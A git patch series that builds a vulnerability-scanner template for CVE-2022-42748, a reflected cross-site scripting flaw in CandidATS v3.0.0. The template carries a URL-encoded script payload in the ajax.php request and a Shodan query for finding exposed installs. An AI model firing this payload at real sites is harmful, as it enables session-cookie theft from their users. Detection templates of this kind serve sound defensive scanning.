From 29fc9bd00928dce75bf773830a4129c19914f4d9 Mon Sep 17 00:00:00 2001
From: Arafat Ansari <54571841+arafatansari@users.noreply.github.com>
Date: Fri, 4 Nov 2022 18:53:57 +0530
Subject: [PATCH 1/7] Create CVE-2022-42748.yaml
---
cves/2022/CVE-2022-42748.yaml | 30 ++++++++++++++++++++++++++++++
1 file changed, 30 insertions(+)
create mode 100644 cves/2022/CVE-2022-42748.yaml
diff --git a/cves/2022/CVE-2022-42748.yaml b/cves/2022/CVE-2022-42748.yaml
new file mode 100644
index 0000000000..40a6d7c910
--- /dev/null
+++ b/cves/2022/CVE-2022-42748.yaml
@@ -0,0 +1,30 @@
+id: CVE-2022-42748
+
+info:
+ name: CandidATS v3.0.0 - Cross Site Scripting.
+ author: arafatansari
+ severity: Medium
+ description: CandidATS v3.0.0 on 'sortDirection' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
+ reference:
+ - https://fluidattacks.com/advisories/modestep/
+ metadata:
+ shodan-query: http.html:"CandidATS"
+ verified: true
+ tags: xss,cve,2022
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&isPopup=0'
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - ''
+
+ condition: and
+ - type: status
+ status:
+ - 404
From 46d2612f0f01ffbdd9864048161542186b4442c7 Mon Sep 17 00:00:00 2001
From: Arafat Ansari <54571841+arafatansari@users.noreply.github.com>
Date: Fri, 4 Nov 2022 18:55:38 +0530
Subject: [PATCH 2/7] Update CVE-2022-42748.yaml
---
cves/2022/CVE-2022-42748.yaml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/cves/2022/CVE-2022-42748.yaml b/cves/2022/CVE-2022-42748.yaml
index 40a6d7c910..07ddc6c6f4 100644
--- a/cves/2022/CVE-2022-42748.yaml
+++ b/cves/2022/CVE-2022-42748.yaml
@@ -14,7 +14,7 @@ info:
requests:
- method: GET
- path:
+ path:
- '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&isPopup=0'
matchers-condition: and
From fb46d49a1b72ab1f2f4cad60703165247e5c4f2b Mon Sep 17 00:00:00 2001
From: Arafat Ansari <54571841+arafatansari@users.noreply.github.com>
Date: Fri, 4 Nov 2022 18:58:04 +0530
Subject: [PATCH 3/7] Update CVE-2022-42748.yaml
---
cves/2022/CVE-2022-42748.yaml | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/cves/2022/CVE-2022-42748.yaml b/cves/2022/CVE-2022-42748.yaml
index 07ddc6c6f4..8f77edab52 100644
--- a/cves/2022/CVE-2022-42748.yaml
+++ b/cves/2022/CVE-2022-42748.yaml
@@ -22,8 +22,8 @@ requests:
- type: word
part: body
words:
- - ''
-
+ - ''
+
condition: and
- type: status
status:
From 11d15f01a835fcd00162018bfeb4910d6127c214 Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Fri, 4 Nov 2022 19:25:21 +0530
Subject: [PATCH 4/7] lint fix
---
cves/2022/CVE-2022-42748.yaml | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/cves/2022/CVE-2022-42748.yaml b/cves/2022/CVE-2022-42748.yaml
index 8f77edab52..ad4ba6091b 100644
--- a/cves/2022/CVE-2022-42748.yaml
+++ b/cves/2022/CVE-2022-42748.yaml
@@ -23,7 +23,7 @@ requests:
part: body
words:
- ''
-
+
condition: and
- type: status
status:
From 713267e9cf4c0c18c5c33b414de85ffd7ebb564a Mon Sep 17 00:00:00 2001
From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com>
Date: Wed, 9 Nov 2022 20:30:36 +0530
Subject: [PATCH 5/7] Update CVE-2022-42748.yaml
---
cves/2022/CVE-2022-42748.yaml | 22 ++++++++++++++++------
1 file changed, 16 insertions(+), 6 deletions(-)
diff --git a/cves/2022/CVE-2022-42748.yaml b/cves/2022/CVE-2022-42748.yaml
index ad4ba6091b..c1ba9e9e72 100644
--- a/cves/2022/CVE-2022-42748.yaml
+++ b/cves/2022/CVE-2022-42748.yaml
@@ -3,26 +3,36 @@ id: CVE-2022-42748
info:
name: CandidATS v3.0.0 - Cross Site Scripting.
author: arafatansari
- severity: Medium
- description: CandidATS v3.0.0 on 'sortDirection' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
+ severity: medium
+ description: |
+ CandidATS v3.0.0 on 'sortDirection' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
reference:
- https://fluidattacks.com/advisories/modestep/
+ - https://nvd.nist.gov/vuln/detail/CVE-2022-42748
+ classification:
+ cve-id: CVE-2022-42748
metadata:
- shodan-query: http.html:"CandidATS"
verified: true
- tags: xss,cve,2022
+ tags: cve,cve2022,candidats,xss
requests:
- method: GET
path:
- - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&isPopup=0'
+ - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'
matchers-condition: and
matchers:
- type: word
part: body
words:
- - ''
+ - ''
+ - 'candidat'
+ condition: and
+
+ - type: word
+ part: header
+ words:
+ - text/html
condition: and
- type: status
From 1ce27f4cae56f1ccafa6a6b19bc7972de91deff7 Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran
Date: Wed, 9 Nov 2022 22:28:20 +0530
Subject: [PATCH 6/7] Update CVE-2022-42748.yaml
---
cves/2022/CVE-2022-42748.yaml | 1 +
1 file changed, 1 insertion(+)
diff --git a/cves/2022/CVE-2022-42748.yaml b/cves/2022/CVE-2022-42748.yaml
index c1ba9e9e72..f9dab44e0b 100644
--- a/cves/2022/CVE-2022-42748.yaml
+++ b/cves/2022/CVE-2022-42748.yaml
@@ -13,6 +13,7 @@ info:
cve-id: CVE-2022-42748
metadata:
verified: true
+ shodan-query: http.html:"CandidATS"
tags: cve,cve2022,candidats,xss
requests:
From ba2b6927898ccb8ca149a5e0daaa756682a73287 Mon Sep 17 00:00:00 2001
From: Dhiyaneshwaran
Date: Wed, 9 Nov 2022 22:28:43 +0530
Subject: [PATCH 7/7] Update CVE-2022-42748.yaml
---
cves/2022/CVE-2022-42748.yaml | 1 -
1 file changed, 1 deletion(-)
diff --git a/cves/2022/CVE-2022-42748.yaml b/cves/2022/CVE-2022-42748.yaml
index f9dab44e0b..6c9fbd0718 100644
--- a/cves/2022/CVE-2022-42748.yaml
+++ b/cves/2022/CVE-2022-42748.yaml
@@ -35,7 +35,6 @@ requests:
words:
- text/html
- condition: and
- type: status
status:
- 404